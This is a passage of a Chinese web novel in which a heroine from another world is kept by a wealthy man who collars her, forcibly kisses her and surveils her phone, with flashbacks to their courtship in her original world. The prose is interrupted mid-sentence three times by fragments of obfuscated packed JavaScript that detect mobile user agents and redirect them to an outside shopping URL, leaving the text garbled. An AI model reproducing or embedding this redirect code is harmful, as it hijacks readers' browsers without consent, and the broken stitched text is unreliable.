助理也谨慎提醒道:“虽然没查到这位李小姐和王琮先生的交易记录,但是目前不能排除这二人有关系。” “是又如何?这不刚好证明,我这个好哥哥非常了解我吗?”王暄盯着眼前的资料一声冷笑。 “既然有胆子来,就别怪我收一些利息了。” 李浪帆这几天大概给他讲述的所谓“另一个世界”中,属于两人的过去,更证实了这点。如果是王琮派来的,能说出他童年的事情并不稀奇。 可偏偏从高中起,故事走向与他的人生并不相同。 王暄高中没有在中州一中读书,没有学动画,不会为任何人连夜坐绿皮车跋涉千里,也从未在某个夜晚对路边救狗的女孩一见钟情。 他不知道李浪帆为什么要编造这样离谱的设定,又是穿书、又是系统。可信程度堪比香妃变成蝴蝶飞走了。 如果换成别的方式慢慢引他上钩,说不定还真的不会怀疑。 但不可否认的是,遗憾感确实在他心头萦绕不去。如果自己真像故事中那样,和李浪帆是同学,她怎么可能被人欺负到连高中都没念完。 王暄靠在沙发上,淡漠的目光中升起些许温度,“你说的是真是假,都不重要。” 不管你是因为什么目的接近我,不管过去如何,都不重要。 “或许只是对现下的你不重要,在以后的某一天,你会改变想法的。”李浪帆神色笃定。 “过来。”他命令道。 李浪帆的手指摩挲着座椅扶手,下意识抗拒这样命令的语气,但又觉得自己原地不动像害怕一样。 “你不必用这样冷漠的语气发号施令。” 她站起身来,走到王暄面前。 “看得出来,你喜欢我。” 虽然有些王婆卖瓜的嫌疑,但她还是继续说下去。“这几天你向我提出过不少问题,但惟独没有质疑过,在这个故事中,你为什么会喜欢上我。” 他确实没有怀疑过这一点。 “这说明,你认可对我的情感,就算现在剧情线修正了,就算你不记得真实发生过的一切,你还是喜欢我。” 李浪帆叹了一口气,“既然如此,为什么不能温柔一点呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964236|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王暄不置可否,抬起手,微凉的指尖贴紧她的咽喉,勾住项圈。 像滑腻又冰冷的蛇,吐着信子,缠绕在她颈间。 接着腰也被按住,她整个人激起难以名状的颤栗,双瞳骤然放大,呼吸也随之急促起来。 失去平衡只是一瞬间的事,她又不可能真地对这人动手,于是只得顺势单膝半跪在沙发上,跌入他的怀中。 修长的手指缓缓摩挲着她的侧颈,低声诱哄道:“你听话些,我会对你温柔的。” 听到这话的李浪帆十分不舒服,有种难以言喻的荒诞感,“可子都不听话,你不会觉得我的个人意志,还不如狗吧?” 只听他语气悠然地说:“我是个商人。” “威尼斯商人。”李浪帆腹诽。 “受我庇护,你总要付出些代价。”王暄挑了下眉,明目张胆地欺负起人,“不乖的孩子,会受到惩罚。” 李浪帆一把抓住他的手腕,终于忍无可忍,“咱俩同一年出生,你就比我大几个月。我是孩子,你是什么?《一千零一夜》还没结束,你就想演《玩偶之家》?要不你进组找个角色过把瘾得了。我都怀疑你是不是工作压力太大,脑子出问题了,要不现在我陪你去挂个急诊看看吧?” “伶牙俐齿。”王暄的笑意让人不寒而栗,“这张嘴除了惹人生气,不知道还会不会做点别的?” 她捕捉到这句话中暗含的危险意味,挣扎着就要起身,可惜沙发太软,脖子上的绞索又被人抓在手里,根本无法逃脱。 王暄不知怎地使了个巧劲,立刻就把李浪帆推到在沙发的上,一只手紧紧地扣住她的双腕,腿也压在膝盖上。 “不要用这种眼神看着我。”他喑哑的嗓音中带着几分戏谑。 说着,便捏住她的下巴,带着强烈的侵略感与占有欲,不由分说地吻上来。 突如其来的亲吻让李浪帆措手不及,但是这种亲吻的感觉却让她熟悉不已。只可惜此时她已经没有精力去想这种事,她早已被吻得喘不过气。 过了许久,王暄缓缓放开了她。 只见她睁着湿漉漉的双眼,躺在自己身下,胸膛不断起伏,正在急促地呼吸。 “看得出来,你喜欢我。”王暄唇角微微勾起。 李浪帆觉得他刚才的行为,简直像是被自己揭穿想法,恼羞成怒的报复。 “如果换做是别人,你早就反抗了,不是吗?”他目光中带着得意,“你会废掉猥亵你的同学,也会一酒瓶砸晕不怀好意的老男人。即使以王忠良的背景,你根本得罪不起。” 她有些疑惑,不记得有这么个同学。 “刚才明明有很多机会,可以咬断我的舌头。”王暄的目光仍停留在她微肿的唇上。 “但是,你却任我为所欲为。你看,就算我现在放开,你也没有要动手的意思。我不认为你是畏惧于我的权势,你不是那种怯懦的人。” 蜻蜓点水般的一吻覆了上去。 这次,他终于被推开了。 “你喜欢我。” 王暄并不愿去想她的温顺只是为了从自己这里图谋什么。 李浪帆狠狠瞪了他一眼,但这种情形下,根本没有什么威慑力。 她不甘示弱地问:“如果我说,我是把你当成别人了呢?” 49. 玩物 “当成另一个我?”王暄脸上挂着凉薄的笑意,“随你。” 他不相信现在的世界只是一篇小说,也不相信有真实存在的,另一个自己。 李浪帆只可能是带着目的来接近他。 那么多秘密不是她这种身份可以探知的,不像是她自己想要攀附权势,背后一定另有其人,大概率和王琮脱不开干系。 他暗自冷笑,这么明显的局,不知道有什么意思,不过多年的商战经验让他不得不时刻保持警惕。 但他对这种接近乐在其中,于是也不揭穿,放任了她的“别有用心”。 李浪帆一时哑口无言。 她想到王暄大概不会相信他们的过去,但没想到自己会被他当成别人派来的商业间谍。 前几年她与现实世界中的王暄一起创办了动画公司,既不用为生计发愁,身边还聚集了一群志同道合的朋友,过得可谓是顺风顺水。 工作环境和生活环境都非常简单,更不用提还总是写一些小动物童话故事。 久而久之,连思维都变得单纯起来,一时间根本想不到常年在商场中与人斗的腥风血雨的资本家,会用怎样的思维,去揣测他们这充满戏剧性的相遇。 屋外风雨如晦,夜色如墨。 李浪帆正被王暄用一种带着疏离与嘲弄的目光审视着,那双深邃的眼眸中藏着太多无法描述的情绪,比河外星系更遥不可及。 一时间,连呼吸都有些困难,心脏传来闷痛。像一块可塑橡皮,被人攥在手里,上面密密麻麻,全是掌心的纹印。 她艰难地闭上眼睛,试图平复紊乱的呼吸。 “起开。” 室内温度骤降,暧昧的气氛荡然无存。 她推开王暄,大步走到阳台边,一把拉开了门。 冷风携着雨丝吹拂着她的脸颊与发梢。秋夜冰凉的空气,让躁动不安的心渐渐平复下来。 这几天简直像是一个漫长的,醒不过来的梦。 李浪帆眸中闪过一丝苦涩,下意识摸上颈间项圈,这是奢华又冰冷的锁链。显而易见,王暄把她带回来,绝不是热心市民在见义勇为。 高高在上的资本家,与身陷囹圄的侍应生。他们在这个世界的初遇,本就暗含着不平等的意味。 她觉得自己可能把原书男主想得太好了,总是下意识地用王暄的所作所为往他身上套。 不同的环境造就不同的性格,她早就应该清醒过来。 这可能正是当初她问系统:“剧情修正后的王暄与现在的他是不是同一个人?”,系统回答“是,也不是。”的原因。 如果当晚她拒绝跟王暄回家,现在自然不用仰人鼻息,但也很有可能活不过当晚,毕竟她揭穿了那么大的秘密,一条利益链上,直接参与者和间接参与者不知凡几。充满阴谋与利益纠葛的圈子里,危险会随时找上门来。 即使没有人报复她,最好的结局也不过流落街头。当时除了身上那件旗袍和高跟鞋,可以说是一无所有。没有手机,没有钱,没有身份证,连这具身体过去二十余年的记忆都没有。 当时情况危急,李浪帆总不能眼睁睁看着有人被侵犯,顾不得许多,只能以身犯险。 后来能跟着王暄,安然无恙踏出俱乐部的门,免去诸多威胁与麻烦,她心中自然庆幸不已。 就算没有把未婚夫滤镜套在这个世界的王暄身上,她现在连衣、食、住都要依靠这人,也是靠他庇护才能安稳度日,根本不可能因为一些个人情绪跟他翻脸。 受谁援助就要被谁控制,这一点,她心里清楚得很。 所以,在王暄的要求下,她只能被动地戴上项圈,顺从地被按在沙发上,或许还要无可奈何地承受他带来的一切。 在王暄彻底想起他们过去的一切以前。 或者在她离开王暄以前。 如果能实现前者自然最好,若是毫无希望,选择后者也并非不可能。 李浪帆心里暗自盘算。 娜拉出走固然容易,走后怎样生存却是个大问题。 并非听见关门声,接着就是闭幕。 总要先保证安全,还得做到经济独立。无论哪一项都不是一时半会儿能做到的,这一切都需要时间。 她现在有钱,桌子抽屉里放了张银行卡,但那是王暄给的。他算得上极慷慨了,多少人穷尽一生,也见不到这样一笔数字。 在李浪帆来到别墅的第二天晚上,那些相知相许的回忆刚从她口中告一段落。 正要回房休息时,王暄把人叫进书房。 他用平淡的语气说:“你所有的东西都被俱乐部销毁了,包括衣物,身份证件和手机。” “哦。”李浪帆不疑有他,完全相信了这说辞。 只是心中早已像龙叔一样大呼“倒霉!倒霉!倒霉!” 补办身份证需要携带户口本,她的户口本就算没有放在俱乐部,现在也不知道在哪。户口本还不能异地补办。 原剧情的她,此刻肯定没有落户到北明市,所以还得回老家镇上一趟,但她最近偏偏不能单独出门。 却见王暄指着桌子上的手机和银行卡,“给你的,拿着。你没有证件,这些都是以我名义办的,不过卡里的钱任由你支配。” 接着又念出一串数字,“记住银行卡密码。” 这笔钱意味着什么,两人一清二楚。 李浪帆愣了愣,立刻拒绝道:“不用。” 王暄闻言,冷笑一声,“我不希望别人说,王暄对女人吝啬到一毛不拔。” 李浪帆哑然失笑,“你对所有女性都这样慷慨?” 他靠在椅背上,双眸微眯,骨子里的威压瞬间释放出来,“摆正你的身份,不要让我再说第二遍。” 李浪帆回想起自己刚才脱口而出的个人意志,都觉得可笑不已。 她不知道,其实这个世界的她有一笔存款。 早在那晚去警局录口供时,她放在Bluenight俱乐部的所有私人物品,就已经全被转交到王暄手上。 手机被轻而易举地破解,所有秘密无所遁形,但王暄没发现什么有价值的东西。 她似乎没有亲戚,没有朋友。社交软件几乎全是同事,聊天内容少得可怜,几乎都和工作相关。收藏了许多奢侈品,名酒之类的相关讲解,大概也是为了工作。没有大额转账,没有不明联系人。银行卡里倒是有两万多存款,可在王暄眼里简直不值一提。 可即便如此,王暄也没有把这些东西还给她的意思,而是将那部新手机,完全置于他的监控下。 被他看上,和陷入牢笼,没什么两样。 身后热源贴近,她被拽地后退一步。 阳台门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993365|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在眼前悄然合上,发出一声轻响。 雨声被隔绝在另一方天地,只留下屋内一片静谧。 “会感冒。”王暄微蹙着眉头,似乎对她这种行为有些不满。 他自认现在并未动心,只是觉得这女人有趣,忍不住想圈在家中取乐。 就算看出她不喜欢戴项圈,不喜欢被控制,那又如何?他享受着掌控一切的感觉,完全不必顾及她的想法,所有事情都可以随着自己的心意来。 在她目的还未实现前,自然不得不忍受自己种种所作所为。 甚至他还可以更过分。 或许过不了多久,就玩腻了这个女人,那时候从她口中撬出秘密,再收拾掉背后的人,简直易如反掌。 但以后呢?如果自己以后想得到的,是她的真心呢? 虽然这种可能性极低,但并非全无可能。 这种念头一旦生出,就在他心头萦绕不去。 从见到李浪帆的第一面起,王暄就深知,眼前这人绝非乖顺的类型。不是他高兴时哄哄,不高兴时教训一番,便可驯服的。 为了避免将来后悔,王暄决定暂且对她好些也无妨。 “生气了?”他温柔地把人带到窗边坐下。 “没有。”李浪帆轻轻摇头。 手指轻轻穿过柔顺的黑发,王暄试探地问:“一直在家会不会很无聊?” “还好,我十天半个月不出门也没什么。”这倒不是在置气,从前她和王暄假期时经常窝在家里,除去长途旅行,两人都不喜欢出门也不喜欢交际。 “明天带你出去好不好?” 她没想到上一秒还高高在上的男人,现在愿意纡尊降贵来哄自己。 但这也没什么值得惊喜。 沉默了片刻,李浪帆问:“那个王总和俱乐部背后的势力,已经一网打尽了吗?” “暂时还没有,需要一些时间。”王暄顿了顿,“不过我手上也有一些他们的证据,足以让藏在深处的那些人永世不得翻身了。” “真的啊?”听到这个消息,她眸中跳动起两簇激烈燃烧的火焰。“不愧是你!” 王暄看着她因为兴奋而微颤的眼睫,心中一动,缓缓凑上前去,在她眼皮上留下轻轻一吻。 李浪帆表面上没有对这个不染情.欲,一触即分的吻多说什么,但强烈的心跳昭示着她内心此刻的不平静。 震耳欲聋,回荡在房间。 她需要说点什么来掩盖此刻的心情,“和你一起出门,他们总不至于下手,对吧?” 王暄微微一笑,“当然。” “去哪?” “你决定。”他客气的让出主导权。 他这么一说,李浪帆倒真有几个想去的地方,想见的人。 “我今天在网上搜到,严晏在附近的一个影视基地拍戏,我们明天能不能先去找他?你不带着我,我肯定进不去。” “找沈溪云?”根据她的故事,这不难推测。 “对。”李浪帆一声叹息,“没想到在这里她竟然没有去税务局,而是选择当严晏的助理。” “可以。” 她又提议:“碧桐路那有个两年前建的艺术园区,我们之前的动画工作室就开在那里。园区正对着有个新楼盘,咱们婚房是在那买的。我想去实地看看,原书世界中的这两个地方。” 50. 婚房 李浪帆看着他不屑一顾的姿态,没好气道:“又不让你住!这是我和他在现实世界买的!” 王暄也不生气,只淡淡地反问道:“这会儿不再说那是我的过去了?从我和你变成你和他了?” 她垂眸不语,情绪忽然变得有些低落。 沉默了好一会儿才回应说:“反正你再也没有机会住进那套房子了,我也是。” 这晚,李浪帆不可避免地梦见了过去。 早在当年王暄打算报考A大时,他奶奶就在北明市为他购置了一套房。说是等装修完,再通通风,开学前刚好能住上,全然未将落榜的可能性纳入考量。 课余闲暇时两人经常回去住。考到一个学校的好处就是天天都能见面,和上高中那会儿基本差不多。 大三时,他们在学校附近成立了一个小型的工作室,主要制作二维动画。 王暄既当导演又做前期概念设计,还兼任分镜。 考上大学后,李浪帆在文学创作上的天赋终于显露出来,就连王暄平常画个漫画,脚本都是她写的,自然当仁不让担任起了工作室的动画编剧。 二人又汇聚了一群志同道合的朋友和同学,从前期设计、中期动画再到后期合成一应俱全,组成了制作团队。 后来随着业务不断拓展,规模日益壮大,公司不得不重新选址搬迁。碧桐路新建的创意园区环境优美,通勤也方便,就连附近的外卖也好吃,多番对比考察后,最终把新的办公区域定到了这里。 恰巧这一年赴法读研又在美国工作一年的穆潇也回国发展,王暄毫不犹豫把他留在了自家公司。 由于公司的薪资待遇十分优厚,又尊重创意和想法,工作环境舒适,同事间相处氛围也特别和谐,再加上领导不是傻.逼,招揽到的人才倒是越来越多。 几年过去,公司凭借几部精心打造的动画短片,斩获了国内外许多奖项,在业内声名鹊起。而刚上映原创动画电影更是票房口碑双丰收,带来了极大的商业价值。 事业步入正轨后,王暄又向李浪帆求婚。 这次她没再说什么:“谁刚过法定年龄就结婚呀?”“我们还小,再过两年吧。”“毕业就结婚也太快了,我还没准备好。”“今年是咱俩本命年,结婚不吉利。”“等咱这部电影做完了再说吧,现在这么忙,哪有时间度蜜月?”诸如此类的话。 系统曾经告知李浪帆,只要她与男主结婚,男女主姻缘值自动归零,任务即判定为失败。男主没有在原书结婚的节点与女主结婚,也算任务失败。 但又不能把这荒谬的理由说出来,这比列祖列宗托梦说他们不般配更像敷衍。 所以她一直拖着,迟迟不肯答应王暄的求婚。准备等到他过完二十八岁生日,到时候若无事发生,自然证明系统一直在骗她。 可两人早就相识了,就算减去没有互通心意的那几年,从他们成为恋人起,再到原文剧情结束的婚礼时刻,也足足还有九年。 实在太过漫长。 王暄今年才刚过二十五岁,她实在想不到,怎样在两人感情稳定的前提下,继续把婚期往后拖三年。 又或许是拒绝过太多次,李浪帆再也不忍说出其他理由。 “好。”她郑重其事答应道。 王暄摘下眼镜,深邃又热烈的眼神简直能将人融化。他把人抵在窗边,一手搂住她的腰,微微低头,吻了上去。 可即便在如此汹涌的情.欲之下,仍有一丝理智不断地敲击着警钟。 许久之后,她听到自己略带喘息的声音,“不过,在结婚之前我们要买一套新房。” “那当然,我们换一栋别墅好不好?”王暄情难自抑,挑开了她衬衫的第一颗扣子。 暖黄色灯光勾勒出二人的轮廓,窗外,夕阳隐没在地平线下,蓝调时刻已然降临。 李浪帆咬牙将他推开,“恐怕不行,别墅太贵了,我买不起。这套婚房,我要出一半的钱。” 王暄愣怔片刻,随即不假思索道:“不用你出钱,这栋别墅作为聘礼的一部分,直接落到你名下就好了。” 北明市的房价有多贵人尽皆知,这下惊愕的人变成了李浪帆。 她细细打量着眼前的男人,却发现他眼神中没有丝毫玩笑的成分。 “就算把我所有的资产都拿出来做陪嫁,也不及你这聘礼的十分之一。”她波澜不惊地说出事实,但只有自己才知道,那看似平静的冰川下,此刻是如何暗流涌动。 “不需要陪嫁,你本身就是无价之宝。”王暄捧起她的脸,真诚地说:“没有你,我走不到今天。一个人的青春又有多少年?何况还要再加上你的未来。” 衬衫松垮地在肩上挂着,她低垂的睫毛如蝶翼轻颤,“我的青春又不值什么,就算没有你,这几年该过不照样得过吗?但是在这段感情中,你付出的远比我要多,我能为你做的却很少。” “就算说爱是常觉亏欠,你也不能这么妄自菲薄不是?”一个轻柔的吻落在她眉间,“只有用爱才能交换爱,如果你不好,我们怎么可能走到今天?我又不是慈善家。” 李浪帆已经不知道该怎么开口了,就连自己都觉得她这要求太过强人所难。 出身豪门的王暄,从小就金尊玉贵,至少从未有人在物质上苛待过他。她又不是第一天知道两人间的贫富差距,少爷从出生起就没经历过一天苦日子,总不能因为她的缘故,让人家在婚后直接生活水平腰斩,消费降级。这和性转版王宝钏有什么区别? 性别互换,她能被人骂死。等同于富家千金下嫁穷小子,从此过上白粥咸菜的生活一样。 她双手抱着王暄的腰,把头埋进他怀里,闷声道:“我收回刚才的话,婚房选你喜欢的就行,不用写我名字。” 王暄默不作声,只是用修长的手指,不紧不慢地,一节一节抚摸过她的脊骨。 即使再难开口,有些话李浪帆也不得不说,她声音中带着一丝不易察觉的恳求,“你能不能再等等我?我想在婚前买套小一点的房子,不用多大,九十平以下的就可以。等到年底分红,加上这个钱应该就差不多了。” “无论我做什么,这些年和我在一起,你还是会有寄人篱下的感觉,对吗?” “嗯。”李浪帆觉得这不能怪她。 人生的前二十余年里,她先是被亲生父亲卖给养父母,养父母意外死亡后,又跟着没有血缘关系的奶奶,再后来奶奶也去世,未成年的她又被二叔领养。最后,二叔被捕,她除了学校,就一直住在王暄家里,转眼就是七年。 从出生起,她就没有真正属于自己的家,一直颠沛流离。今天跟着这个,明天跟着那个,像个没有灵魂的包袱,任凭命运甩来甩去。 极少有东西是属于她自己的,似乎除了知识和成绩,很难真正去抓住什么。 有时晚上躺在宿舍,她都会忍不住庆幸,还好有国家给的最低生活保障,好在她还有个学上,起码身下躺的这张床,暂且属于自己。 “现在又改变主意,是担心我住不惯小户型房子吗?” “不是怕你住不惯,我知道你适应能力很好,是不想让你受委屈。”她的声音越来越小,说到最后简直要听不见。 “抬头,看着我。”王暄拍了拍她后腰。 李浪帆不为所动,闻言抱得更紧了。 他见状,无可奈何地低笑一声,“就按照之前说的,我们一起买婚房好不好?公司对面不是有个新楼盘快完工了吗?如果买那里,通勤时间也就五分钟,你还能多睡会儿,我们明天去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095991|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看。要不然,你买了房子又不去住,婚后不依然会觉得不是住在自己的家吗?” “这样有点对不起你吧?我听同事说,对面小区的房子只有140多平。”她终于抬起头,脸上写满了纠结和挣扎。 王暄伸手轻轻揉着她因为挤压而发红的鼻尖,温柔地说道:“怎么会?委屈你才对吧?嫁给我,竟然还要自己出一半钱买婚房。别人知道,该说你笨了。” “本来也没打算从你这里捞什么。”李浪帆小声嘟囔着。 思虑再三,还是用坚定的语气告诉他:“我只是不想成为谁的附庸,至少在生活上,我们必须是平等的。不是‘我’嫁给‘你’,从此成为你的人,对你唯命是从,而是我们结婚,组成一个新的家庭。我必须是你近旁的一株木棉,作为树的形象和你站在一起。所以,我也会想尽自己的一份力。” 她觉得这有点像在搞道德绑架,让人家婚后吃苦受罪还振振有词,连忙重申:“你不用勉强自己,我可以单独买一套小房子放那,不会让你为难的。” “我们一起买房,一起设计装修,这不是很浪漫吗?怎么会为难?”王暄捏捏她的指尖,又问道:“怎么这么没有安全感?还要与我算得清清楚楚?” 李浪帆口无遮拦说道:“总要先做好最坏的打算,谁知道以后会怎么样呢?” 灰姑娘嫁入豪门,她实在不敢对今后生活抱有多乐观的态度。 如果以后真过不下去了,起码还有个属于自己的家,至少不用听人说:“这是我的家,你给我滚出去!”这样的话,李学勤已经说过太多遍。 好在她早已不是随时会被人抛弃的孩子了。 “原来是怕我以后不喜欢你。” 王暄的笑容愈发危险,忽然伸手揽住她的腿弯,稳稳地将人打横抱起。 “你实在是多虑了。” 李浪帆双手下意识环上了他的脖子,将这人眸中所有情绪尽收眼底,就连他呼吸声和心跳声都变得清晰可闻。 她轻笑一声,倒也没有多在意,口中仍是说:“齐大非偶,我很难不多考虑些将来。” 王暄挑眉,“你不如先担心一下今晚。”说罢,抱着人朝卧室走去。 回忆不断肆虐,惹得李浪帆一整晚都睡不安稳,她明知是梦,却醒不过来。第二天闹钟响了三遍,才带着一身疲惫,痛苦地从床上缓慢爬起。 待洗漱完毕下楼吃饭时,便看到王暄正坐在长桌前看新闻,面前的早餐一口未动,似乎是在等她一起就餐。 她今天穿了一件黑色短款风衣,里面是偏墨绿色的V领打底,衣料还隐隐闪烁着蓝紫交织的微光,皮带上的金属扣折射出冷冽的光泽,整个人看起来颇具中性风,带了几分不羁与潇洒的韵味,本就高挑的身材也被衬得更完美了。 那条项圈倒是和这身穿搭相得益彰,变成了精妙的点缀,不明真相者只会以为这是她特意搭配的装饰。 早上换完衣服照镜子时,她还暗自庆幸,跟搞艺术的混在一起这么多年,终于也学会些穿搭了。 王暄抬眸瞥去,一眼便看穿了她的小心思,倒也没多说什么,只示意她坐到自己身边吃饭。 坐在车上,窗外的风景不住倒退,交通逐渐拥挤起来。 李浪帆看着外面人潮涌动、车水马龙的繁忙景象,假装不知道王暄如有实质的目光正盯着她的脖子。 直到温热有力的手指抚上颈间,她再也无法装作若无其事的样子,一瞬间只觉头皮发麻。 “怕什么?不愿意带就给你摘了。”王暄摩挲着手中下意识地绷紧的肌肤,轻笑一声,取下了这条由自己亲手系上的锁链。 李浪帆侧头看他,一时间有些惊讶,似是没料到这控制欲极强的人今天竟然这么好说话。 51. 心机 “你那点心思,真以为我看不穿么?”王暄捏着她后颈,不咸不淡地问出这么一句话。 “你驯化地很成功。” 李浪帆低叹一声,“就在刚才,有那么一瞬间,我竟然会感激你高抬贵手,不至于在外面给我难堪。” 项圈被随意扔在座椅上,钻石折射出微弱的光芒。 “但这枷锁明明是你亲手为我戴上的,我原本不用承受这份羞辱。” 她垂眸不肯去看王暄,脸上浮现出伤心失落的神色,像被大雨浇透的小狗,“可去掉项圈的那一刻,我确实产生了一种你很体贴,很爱我的错觉。” 路边水洼中倒映着闪烁的红色信号灯,天阴沉沉的,看不见一点儿太阳。 李浪帆抬起头,目光中流露出自嘲与悲戚,“我真是个贱骨头。” 王暄瞳孔微缩,一股难以言喻的心疼与无措蔓延开来。 他把人揽入怀中,语气里罕见地夹杂着一丝愧疚,“不要这么说自己。” “我只是在陈述事实,任谁知道了不说一声‘真是天生的贱骨头’。” 他温柔抚摸着她的黑发,低沉的声音又喃喃重复了一遍:“不要这么说自己。不喜欢以后就都不戴了,好不好?” “嗯。”李浪帆乖顺地把头靠在他肩上,眸中尽是狡黠的笑意。 当车辆驶入碧桐路后,忽然之间,云层裂开缝隙,被勾勒出金边。 阳光如瀑布般从云间倾泻而下,透过梧桐树的枝叶,照射在园区大门上。 “直走,到水池那边右转,C区楼下有停车位。”熟门熟路的李浪帆为司机充当起导航。 这条路她已经走过了几百遍。 园区一共分为A-F六个区域,虽然不大,但里面绿树成荫,到处一派生机盎然之景。 建筑外墙以白色为主,窗户被深灰色金属框架分割成不规则的几何图形。每栋楼都不超过四层,整体为现代简约风格。 C区现在被一家互联网公司租用,楼前的公司名称简洁大方又引人注目。 李浪帆站在楼下,出神地望着二楼其中一扇窗户,那里曾是她的办公室。 过去的一幕幕像蒙太奇一样,疯狂在脑海中回放。 从前,负责前期的几个部门经常在小会议室里商讨选题,大家虽然常常争执地面红耳赤,但最后灵感总是如泉水般涌来。 做原画的同事为了捕捉到完美的表情或动态,不仅会经常翻理查德·威廉姆斯的书,还会自己做出各种夸张的卡通化动作,边演边拍下来,然后照着视频当做参考去创作。 公司的氛围非常自由,大家穿着都很随意。 除了穆潇每天坚持西装革履打领带来上班,其余同事有穿汉服的,有穿Lo裙的,有穿JK的,还有人天天裹着件斗篷,背个大老虎头背包,五花八门,应有尽有。 然而创作并不总是快乐的,也时常会带来痛苦。 每到这时候,李浪帆就会和同事开始互相投喂,凑在一起吃零食。尝到难吃的,还会拿去王暄办公室,往他嘴里塞。 有时候天气很好,又不忙,她就会叫上王暄或者她的摸鱼搭子财务姐,一起去楼下花园吹风,荡秋千。 她陷入回忆的河流,河水已经蔓延至她的口鼻,但这仍然要比冰冷的现实温暖许多,以至于让人甘愿沉溺其中,任由河水将其淹没。 秋风拂过,梧桐树叶簌簌作响。 带着露水的叶子跌落在她发间,惊醒了这个虚幻却又让人沉醉的梦。 王暄抬手,取下了落叶。 李浪帆也不去管王暄耐人寻味的眼神,只是拉着他的手腕慢慢往小花园里走。 被拉住的人不满足于这种程度的接触,挣脱出来。在略显诧异的眼神中,回握住了她的手。 “以前不想上班的时候,我就会出来遛弯。”她莞尔一笑,指指花园另一侧的A区,“那边有个便利店,财务姐总是拉上我,夏天出来买雪糕,冬天出来买烤肠。” 王暄眼中浮现出笑意,“明目张胆地上班脱岗,不喜欢工作?” “谁还没有个疲倦的时候呢?”李浪帆笑意盈盈,“剧本写得不顺,我就会下来逛逛,你画不下去的时候,不也喜欢找我一起出来透透气吗?” 走到小径旁的秋千前,吊椅上面还有残留的雨水,李浪帆没拿纸巾,又去掏王暄的兜,同样没摸到,只得遗憾作罢。 王暄轻易地读出了她的表情,“喜欢秋千可以在家里放一个。” “不用了,不喜欢。” “编剧这身份可真是适合你。满口谎言,没有一句真话。”王暄心中恨恨道。 李浪帆似乎毫无所觉,自顾自地拉着他,一边讲着关于公司的旧事,一边穿过花园,缓步向南门走去。 南门前有一条小河,说是河,大概也就两米宽,既清且浅。 过了河,站在岸边,就能看到对面小区的大门。 小区有门禁,李浪帆原就没打算进去,只是想远远地看一眼。 门卫的两位保安也是熟人,一个是中年啤酒肚大叔,一个是瘦高的年轻小伙,总是他们两个一起轮班,和现实世界中别无二致。 她看着熟悉又陌生的一切,眼中带着些许怀念,偏过头轻轻靠在了王暄肩上。 正出神时,斜前方突然窜出一只三色柯基犬。 柯基的主人是个上了年纪的女士,哪里能拉住爆冲的肥美中型犬,被它拽地踉跄几步,下意识就松开了手。 柯基似乎认出了李浪帆,像个长了腿的煤气罐,直朝她扑过来。 电光火石间,王暄原本要拽住狗脖子上的项圈,但余光却瞥到她已经微微岔开腿,弯下腰,伸出双手,做好了抱它的姿态。 柯基如愿以偿扑到了她怀里,整只狗兴奋不已,满心满眼都是这个正蹲下疯狂揉它的女人。 它的主人终于跟了上来,跑得鬓发散乱,气喘吁吁,看起来狼狈不堪。 口中不住地向二人道歉:“对不起对不起!吓到你们了!它平时不这样的,真是对不起!年年!过来!” 她拉着垂在地上的牵引绳,想把这丢人现眼的小崽子拽开。 “没关系!年年真可爱!好了好了!不要舔我啦!全是口水!坐下!”李浪帆脸颊和脖子都被舔得湿漉漉的,裤子也蹭上了好几枚小狗爪印。 年年听话地坐下了,吐着舌头,甩出口水,呼哧呼哧地看着她。 “真乖!年年真乖!握手!哎呀太乖了!这只!真棒!”她连声音都夹了起来,不停地重复着几个单一的词汇。 李浪帆伸完左手伸右手,也不嫌弃小狗爪子上全是灰尘,反复和它玩起握手的游戏。 王暄站在一旁注视着她,眼中流露出温和的笑意,对岁月静好这四个字,忽然有了身临其境的体验。 又忍不住遗憾地想,如果他的小可还在,那该多好。 “我要走啦!你下次不可以跑这么快了知不知道?年年再见啦!”李浪帆说着撸了两把狗头,又狠狠在它耳朵上各亲了一口。 “许姐,再见!”她对柯基的主人也挥手作别。 许姐虽然与李浪帆素未谋面,但料想她是附近的住户,认识年年,知道自己的名字也就不奇怪了。 王暄自然地弯下腰,为她掸去衣服上的灰尘。 然后他收获了一个吻。 “这是B栋10楼许姐家的年年,今年三岁多了。以前每天上班的时候,总能碰见许姐牵着它出来,很黏我,真的超级可爱!” “可爱。”还未回神的某人机械地重复着。 看他心不在焉的样子,李浪帆不由暗自抱怨:“邻居小狗都能认出我,你怎么就没有现实世界的记忆呢?” 碧桐路上的创意园区静静坐落在那里,同样的秋千位置也没有丝毫改变,小区保安还是那一对搭档,许姐一如往常从外面遛狗回来。 似乎只有她和男主,以及 